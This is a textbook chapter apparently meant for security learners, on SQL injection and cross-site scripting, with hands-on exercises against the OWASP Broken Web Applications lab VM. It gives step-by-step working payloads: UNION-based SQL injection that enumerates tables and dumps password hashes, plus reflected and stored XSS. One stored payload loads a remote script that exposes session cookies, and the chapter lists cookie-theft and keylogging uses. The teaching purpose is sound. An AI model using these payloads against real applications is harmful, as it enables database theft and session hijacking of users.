CHAPTER 17
Web Application Security Vulnerabilities
In this chapter, you will learn about the most prevalent security vulnerabilities present in web applications today. We begin with a general introduction to the top two most prevalent types of web application security vulnerabilities, and then we address each in turn by providing practical background information and hands-on practice opportunities to discover and exploit the vulnerabilities. This chapter serves as a template that you can use to explore other common web application security vulnerabilities. The topics are presented as follows:
• Overview of top web application security vulnerabilities
• SQL injection vulnerabilities
• Cross-site scripting vulnerabilities
Overview of Top Web Application Security Vulnerabilities
The Open Web Application Security Project (OWASP) publishes an annual list of the most critical web application security flaws. You can find the OWASP Top 10 for 2010 list at www.owasp.org/index.php/Category:OWASP_Top_Ten_Project. The top two flaws from the past several years have been injection vulnerabilities and cross-site scripting vulnerabilities, so we’ll start by introducing those. The rest of the chapter explains how to find, exploit, and prevent one type of injection vulnerability, SQL injection, and then how to find, exploit, and prevent cross-site scripting vulnerabilities.
Injection Vulnerabilities
Web application injection vulnerabilities result from poor input validation. The three most common forms of injection vulnerabilities are as follows:
• Command injection vulnerabilities Allow a parameter to be passed to a web server and executed by the operating system. This type of vulnerability can completely compromise a web server.
• SQL injection vulnerabilities Allow an attacker to manipulate, due to poor input validation, a SQL statement being passed from the web application to its back-end database and then execute the modified SQL statement. These injections can lead to disclosure of data stored in the database and potentially complete compromise of the database server. We will be covering SQL injection extensively in this chapter.
• LDAP injection vulnerabilities Allow attacker-controlled modification of LDAP queries issued from the web server hosting the web application. These vulnerabilities can lead to information disclosure and potentially unauthorized attacker access via manipulation of authentication and lookup requests.
Cross-Site Scripting Vulnerabilities
Applications are vulnerable to cross-site scripting (XSS) when they permit untrusted, attacker-provided data to be actively displayed or rendered on a web page without being escaped or encoded. An attacker allowed to inject script into a web page opens the door to website defacement, redirection, and session information disclosure. We will be covering XSS later in the chapter.
The Rest of the OWASP Top Ten
The following are the other eight types of vulnerabilities on the OWASP Top 10 for 2010 list. You can find much more information about each of these vulnerability classes at www.owasp.org.
• Broken Authentication and Session Management
• Insecure Direct Object References
• Cross-Site Request Forgery (CSRF)
• Security Misconfiguration
• Insecure Cryptographic Storage
• Failure to Restrict URL Access
• Insufficient Transport Layer Protection
• Unvalidated Redirects and Forwards
Reference
OWASP Top 10 for 2010 list www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
SQL Injection Vulnerabilities
Any web application that accepts user input as the basis of taking action or performing a database query may be vulnerable to SQL injection. Strict input validation prevents injection vulnerabilities. To understand this class of vulnerabilities, let’s look at the components involved in servicing a web application request made by a user. Figure 17-1 shows the components that handle the request and shows the communication between each component.
Figure 17-1 Communication between web application components
As you can see, the web server receives the request and verifies the requesting user’s access rights to make the request. The web server then validates the request and queries the database server for the information needed to service the request. Figure 17-2 shows what the user’s browser might display in a simple web application accepting user input and the corresponding HTML page source.
The example web application’s JSP source code is shown in Figure 17-3.
When a web application user clicks the Submit Query button on the web form, the value present in the input box is used without validation as a component in the SQL query. As an example, if the username “bob” were to be submitted, the following HTTP request would be sent to the web server:
http://vulnerablewebapp.com/vulnerable_page.jsp?user=bob
Figure 17-2 Simple web page example accepting user input
Figure 17-3 JSP source for web application querying based on user input
When the web server receives this request, the JSP variable lookup is set to “bob.” Because the request is not null, the web application begins building the page to be returned to the client. It first opens an HTML <TABLE> element to contain the result of the user’s search. It then builds and performs a SQL query to be sent to the database server. In our “bob” example, the SQL request would be the following:
SELECT * FROM table WHERE user_id = 'bob'
The SQL server would process this query and return the result to the web application, which would in turn return the result within a table to the client’s browser.
However, this pattern could potentially result in a SQL injection security vulnerability if the requested user_id sent by the user manipulated the SQL query. A common character used as a simple check for SQL injection is a single quote (’), as demonstrated here:
http://vulnerablewebapp.com/vulnerable_page.jsp?user='
The web application would then build and send the following invalid SQL query:
SELECT * from table where user_id = '''
From here, we can cause the web application to execute different SQL statements from those its developer intended it to execute. Most SQL injection attacks follow this same pattern, causing the web application to perform requests that were not originally intended. Each type of vulnerability will have a different syntax and implementation, but each follows the same concept.
We will dig deeper into SQL injection attacks shortly to see what is possible with that specific class of injection attack, but first we need to cover a little SQL database background.
SQL Databases and Statements
Databases store data in a structured manner that allows easy retrieval and cross-referencing. Organizing the data in a “relational” manner makes it easier to query and retrieve any data in the database. Relational databases store data in tables organized by rows and columns. Entries in different tables can cross-reference each other via a unique identifier for each row. A table of user information in a relational database might look something like the table shown in Figure 17-4.
Structured Query Language (SQL) is a standard method of managing relational databases. SQL defines a standard way of writing statements to create, modify, or query data within the database. The three major components of SQL are as follows:
• Data Definition Language (DDL) Used to define or modify data structures such as tables, indexes, and database users
• Data Manipulation Language (DML) Used to query or manipulate data stored in SQL databases
• Data Control Language (DCL) Used to grant or deny access rights to the database
Figure 17-4 Sample Users table
Most of the interesting commands in the context of SQL injection attacks fall into the DML category. It’s important to understand these commands to perform a successful SQL injection attack. The list of language elements in Table 17-1 includes many of the commands you’ll need to know.
Table 17-1 Key SQL Commands
You’ll also use several special characters to build SQL statements. The most common are included in Table 17-2.
Each database vendor implements SQL and structures built-in tables in a slightly different manner. You will need to tweak SQL statements slightly from one database to another.
Testing Web Applications to Find SQL Injection Vulnerabilities
Now that you understand the basics of SQL, let’s get to the fun stuff. Alongside their list of top web application vulnerabilities, OWASP publishes a free, downloadable virtual machine image that runs several insecure web applications for testing. We’ll use this “OWASP Broken Web Applications VM” to demonstrate how to find SQL injection vulnerabilities. We encourage you to download the VM, load it into VMware Player or your VM player of choice, and follow along. You can find it at http://code.google.com/p/owaspbwa/.
Table 17-2 Common SQL Special Characters
Figure 17-5 OWASP Broken Web Apps VM
When the boot sequence finishes, the OWASP BWA VM will display its IP address, as shown in Figure 17-5. Browse to the IP address followed by dvwa/login.php. Using the IP address from Figure 17-5, for example, the correct URL would be http://172.16.104.128/dvwa/login.php. Log in with the username user and password user. We’ll demonstrate simple SQL injection using the BWA VM.
Simple SQL Injection
In the bottom-left corner of the DVWA “Welcome” web page, you’ll see “Security Level: high” (see Figure 17-6). This is the default security setting for DVWA. To demonstrate simple SQL injection, click the DVWA Security button (also shown in Figure 17-6) to change script security from high to low. Click the Submit button to save the change.
Next, click the SQL Injection button in the menu along the left side of the DVWA interface. (Alternatively, browse to http://IP/dvwa/vulnerabilities/sqli/.) You’ll be presented with the input form shown in Figure 17-7.
Let’s first check for SQL injection by testing with a single quote as we did in the demonstration earlier in the chapter. Typing’ and clicking Submit returns the following SQL error message:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''''' at line 1
This SQL error message reveals that a statement was submitted having an unmatched (an odd) number of single quote characters (’). This application is probably vulnerable to SQL injection. To exploit it, we’ll need to send a matching ’ to terminate the string and then append our own SQL to the statement. Our goal is to steal passwords. The first step is to extract the entire list of users. We’ll need to find a way to manipulate the string that is passed in to execute a valid SQL statement that returns all users. This is much easier to do when a web application exposes error messages to us, as DVWA does at its “Easy” Security Level setting.
Figure 17-6 DVWA Security Level setting
Figure 17-7 DVWA SQL injection input form
Start by sending two single quotes. You’ll notice that the query completes successfully (the SQL statement is well formed), but no data is returned. That attempt tells us that our attack string should contain two single quotes to be valid SQL. We can assume that the value submitted by the user and passed to the database is criteria to a SELECT statement. It probably looks something like “SELECT [columns] from [table] where criteria = [criteria].” If we can manipulate this SQL statement to append OR 1=1, the [columns] from every row in the [table] will be returned. Try adding OR 1=1 between the single quotes, as follows:
' OR 1=1 '
This time we get a different SQL error message:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '''' at line 1
This SQL error message tells us that we have the correct number of single quotes but that something is still wrong with our query. Perhaps commenting out everything after our portion of the SQL statement will make the error go away. Remember from Table 17-2 that the -- sequence (two dashes) causes the rest of the line to be ignored (single-line comment). Let’s add that to work around the SQL error currently being returned. Use the following attack string:
' OR 1=1 -- '
Bingo! This returns all users, as shown in Figure 17-8.
NOTE
The following string would also work:
' or '1'='1
Figure 17-8 Initial successful SQL injection
After detecting that an input field was vulnerable to SQL injection, the trick was just to find the correct number of terminating characters to avoid the SQL error, find the right SQL elements to return all rows, and then find the right SQL special characters to either ignore the rest of the statement or work around the quotes added by the web application.
Now that we have found a way to append to the web application’s SELECT statement, we’re halfway done. We need to find where the passwords are stored, and find a way to display those passwords on the web page in response to our injection. Our strategy to do so will be to use the UNION command to combine the results of a second SELECT statement. We’ll also use the concat() function to make the display easier to read.
To combine the results of two SELECT statements without error, both statement results must return the same number of columns. The injected SQL statement sent by DVWA to the database currently looks something like this:
SELECT [columns] from [table] where criteria = [criteria] OR 1=1 --
We don’t know yet how many columns are included in that [columns] list. Finding this count of columns is the next step. One strategy is to try combining the result of the query with a SELECT statement returning one column. If that doesn’t work, we’ll try two columns...and so on until the web application no longer returns an error. The injection string to try one column would be as follows:
' UNION SELECT NULL -- '
In this case, the web application returns the following SQL error:
The used SELECT statements have a different number of columns
Next, try two columns using the following injection string:
' UNION SELECT NULL, NULL -- '
Got it! The web application does not return a SQL error this time. Instead, we get the result shown in Figure 17-9. Therefore, we know that the web application’s SQL statement into which we are injecting looks something like the following:
SELECT [column1], [column2] from [table] where criteria = [criteria]
Now that we know the number of columns in the SELECT statement, we can use the UNION command to gather more information from the database, with the end goal of finding passwords. Databases have a special object from which you can SELECT called INFORMATION_SCHEMA. This object includes the names of every table, the names of every column, and other metadata. Here’s an injection string to return all tables:
' UNION SELECT NULL, table_name from INFORMATION_SCHEMA.tables -- '
In the resulting list, you’ll see a number of built-in MySQL tables (CHARACTER_ SETS, COLLATIONS, and so on) and then two tables at the end that look like they are probably part of DVWA (guestbook, users):
Surname: guestbook
Surname: users
That users table looks interesting. Let’s get a listing of columns in the users table using the following injection string:
' UNION SELECT NULL, column_name from INFORMATION_SCHEMA.columns
where table_name = 'users' -- '
We see the following six columns:
Surname: user_id
Surname: first_name
Surname: last_name
Surname: user
Surname: password
Surname: avatar
Figure 17-9 SELECT statement has two columns
There’s the password column we were looking for! We can again use the UNION command to select all the passwords in the users table using the following injection string:
' UNION SELECT NULL, password from users -- '
Bingo! Here are the MD5-obfuscated passwords for every user in the database:
Surname: 21232f297a57a5a743894a0e4a801fc3
Surname: e99a18c428cb38d5f260853678922e03
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: ee11cbb19052e40b07aac0ca060c23ee
We could cross-reference this password list with the list of users displayed in Figure 17-8. To make it even easier, however, we can just use the other column in our injected SELECT statement to fetch the user’s name. We can even display multiple fields (such as “first_name” [space] “last_name” [space] “user”) via the CONCAT keyword. The final winning injected SQL statement gathering all the information would be as follows:
' UNION SELECT password, concat(first_name, ' ', last_name, ' ', user)
from users -- '
The final output of this SQL injection attack is displayed in Figure 17-10.
Intermediate SQL Injection
DVWA’s “Easy” security mode included a trivial SQL injection target. Let’s next look at a SQL injection target that is a bit more difficult. Mutillidae is a second web application included on the OWASP Broken Web Applications VM. Browse to it by typing in the IP address followed by /mutillidae. Using the IP address from Figure 17-5, the correct URL would be http://172.16.104.128/mutillidae. Click the “User info” link in the left margin’s A2 – Injection Flaws section. You’ll be presented with the user information lookup screen displayed in Figure 17-11.
Figure 17-10 Final SQL injection success
Figure 17-11 Mutillidae user info SQL injection target
We won’t give away the secret for the Mutillidae SQL injection, other than to say that you’ll need to factor in both the name and password fields in your SQL injection statement. And remember that SQL includes a multiline comment by wrapping the comment between /* and */ sequences.
Reference
OWASP Broken Web Applications Project code.google.com/p/owaspbwa
Cross-Site Scripting Vulnerabilities
Cross-Site Scripting (XSS) is second in the list of OWASP’s Top 10 for 2010 web application vulnerabilities. Web applications frequently have, and will likely continue to have for a number of years, XSS vulnerabilities. Unlike the injection attacks described in the first half of this chapter, XSS vulnerabilities primarily impact the users of the web application, not the web application itself. In this section, we will explore XSS, first explaining what causes this class of vulnerability, then explaining how it can be detected, and finally demonstrating how it is exploited.
Explaining “Scripting”
Let’s first explain the “scripting” part of cross-site scripting. Most major websites today use JavaScript (or sometimes VBScript) to perform calculations, page formatting, cookie management, and other client-side actions. This type of script is run on the browsing user’s computer (client side) within the web browser, not on the web server itself. Here’s a simple example of scripting:
<html>
<head>
</head>
<body>
<script type="text/javascript">
document.write("A script was used to display this text");
</script>
</body>
</html>
In this simple example, the web page instructed the web browser via JavaScript to write the text A script was used to display this text. When the web browser executes this script, the resulting page looks like Figure 7-12.
Figure 17-12 Simple script example result page
The user browsing to this website would have no idea that script running locally transformed the content of the web page. From the rendered view within the browser, it doesn’t appear to be any different from a static HTML page. Only if a user were to look at the HTML source could they see the JavaScript, as shown in Figure 7-13.
Scripting support is included in most browsers and is typically enabled by default. Web application developers have become accustomed to using script to automate client-side functions. It is important to note that script being enabled and used is not the cause of the vulnerabilities we’ll be discussing in this section. It is only when a web application developer makes a mistake that scripting becomes dangerous. Without web application flaws, scripting is safe and is a good tool to enable a rich user experience.
Explaining Cross-Site Scripting
Web application flaws that lead to cross-site scripting are generally input validation vulnerabilities. A successful XSS attack involves two steps. First, the attackers send to a web application a request that the web application does not properly sanitize or validate as being properly formatted. Second, the web application returns to the attacker, without encoding, a web response page that includes the improperly formatted input. Some examples of the characters that are used for XSS include & < > ” ’ and /. These characters should be encoded, preferably using hex, or escaped when being returned to the browser. The OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet is a project that provides guidance on properly protecting against XSS. It can be found at www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.
Figure 17-13 Simple script example page source view
There are three types of cross-site scripting: reflected XSS, stored XSS, and DOM-based XSS. Reflected and stored XSS are the two more common types of XSS and will be explained in the following sections. DOM-based XSS is a bit different and less prevalent and thus will not be discussed further in this chapter.
Reflected XSS
Web applications commonly accept input as parameters passed from the browser as part of a GET or POST request. For example, a GET request passing in the parameter “ID” with value “bob” might look like the following:
http://www.example.com/account-lookup.asp?ID=bob
POST requests also pass in parameters, but you’ll need to view the HTTP request with a tool such as the Firefox Tamper Data plug-in or a packet sniffer to see the parameters and values. When a web application returns back (“reflects”) the passed-in parameters in the response page, the potential for reflected XSS exists. Both GET and POST requests are valid targets for XSS. Let’s look at a simple vulnerable ASP page:
<form action="welcome.asp" method="get">
Your name: <input type="text" id="name" size="20" />
<input type="submit" value="Submit" />
</form>
<%
dim name
name=Request.QueryString("name")
If id<>"" Then
Response.Write("Hello " & name & "!<br />")
End If
%>
This ASP page places the value passed in for parameter id into a variable named name. It then writes the passed-in value directly into the response. The page would look something like Figure 17-14.
Because the web page does not validate the passed-in value and displays it verbatim in the response page, this page is vulnerable to an XSS attack. Instead of “Bob,” an attacker could pass in script such as the following to simply pop up a dialog box:
<script>alert('XSS')</script>
In that case, the resulting web page would look more like Figure 17-15.
Figure 17-14 Sample vulnerable ASP page
Figure 17-15 Sample vulnerable ASP page XSS example
As you can see, the passed-in script was executed within the client-side browser. The alert box proves that the web application is vulnerable to a reflected XSS attack. Later in this chapter, we will explain how a script passed in to a request and reflected in the response can be used for more than just displaying an alert box. But first, we’ll explain stored XSS.
Stored XSS
Stored XSS is similar to reflected XSS in that unencoded attacker script is displayed in a web application web page. The difference is that the script in stored XSS does not come from the web application request. Instead, the script is stored by the web application as content to be displayed to browsing users. For example, a forum or blog that allows users to upload content without properly validating or encoding it may be vulnerable to a stored XSS attack. Stored XSS is possible not just as part of a text field; it can be included as part of an image tag or just about any user-editable content on a web application.
Let’s take a look at an example stored XSS vulnerability. We’ll use the same Mutillidae application from the OWASP BWA VM that we introduced as part of the “Intermediate SQL Injection” section earlier in the chapter. To follow along, browse to http://[IP-address-of-the-VM]/mutillidae, log in with the username user and the password user, and click the “Add to your blog” link in the left margin’s A1 – Cross Site Scripting (XSS) section. In this example, we will be posting an entry to the user blog, storing attack script for an unsuspecting victim to view. The website http://ha.ckers.org contains a convenient demonstration script we’ll use for this example. The “blog entry” then would look like the following:
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Figure 17-16 is a screenshot of this malicious blog post.
The ha.ckers.org JS file to which we are linking contains the following script:
document.write ("This is remote text via xss.js located at ha.ckers.org " +
document.cookie); alert ("This is remote text via xss.js located at ha.ckers.org "
+ document.cookie);
When we click Submit and then simulate viewing the blog as an unwitting victim (by clicking the “View someone’s blog” link), the attack script stored at ha.ckers.org runs in the context of the Mutillidae website. You can see the result of this attack in Figure 17-17.
Figure 17-16 Mutillidae stored XSS example
Figure 17-17 Mutillidae stored XSS attack result
Attack Possibilities with XSS
Our demonstration XSS attacks have simply displayed an alert box or displayed text and a cookie ID on the page. While these examples have only displayed information, far more damaging attacks are possible. For example, the malicious script could post the cookie values to an attacker’s website, potentially allowing an attacker to log in as the user or resume an in-process session. The script could also rewrite the content of the page, making it appear as if it has been defaced. JavaScript can easily carry out any of the following attacks:
• Session hijacking via cookie theft
• Keystroke logging, posting any typed-in text to an attacker website
• Website defacement
• Link or advertisement injection into the web page
• Immediate page redirect to a malicious website
• Theft of logon credentials
Attackers have recently leveraged XSS vulnerabilities on popular social networking sites to create an “XSS worm,” spreading from one user’s page to another. XSS worms could be leveraged to perform denial-of-service or brute-force attacks unbeknownst to the user.
A fun way to explore the power of XSS attacks is to install the Browser Exploitation Framework (BeEF) from bindshell.net. Exploiting a victim via an XSS vulnerability can turn their browser into a “zombie” controlled by the BeEF command-and-control interface. BeEF can force a browser to visit a malicious website, log keystrokes, detect if a browser is using Tor (from www.torproject.org), perform port scans, and even run Metasploit attack modules. It’s a great demonstration of the power of XSS attacks.
References
Browser Exploitation Framework www.bindshell.net/tools/beef
Firefox Tamper Data plug-in addons.mozilla.org/en-US/firefox/addon/966/
Popular web application security website ha.ckers.org/
OWASP Broken Web Applications Project code.google.com/p/owaspbwa
OWASP XSS Prevention Cheat Sheet www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet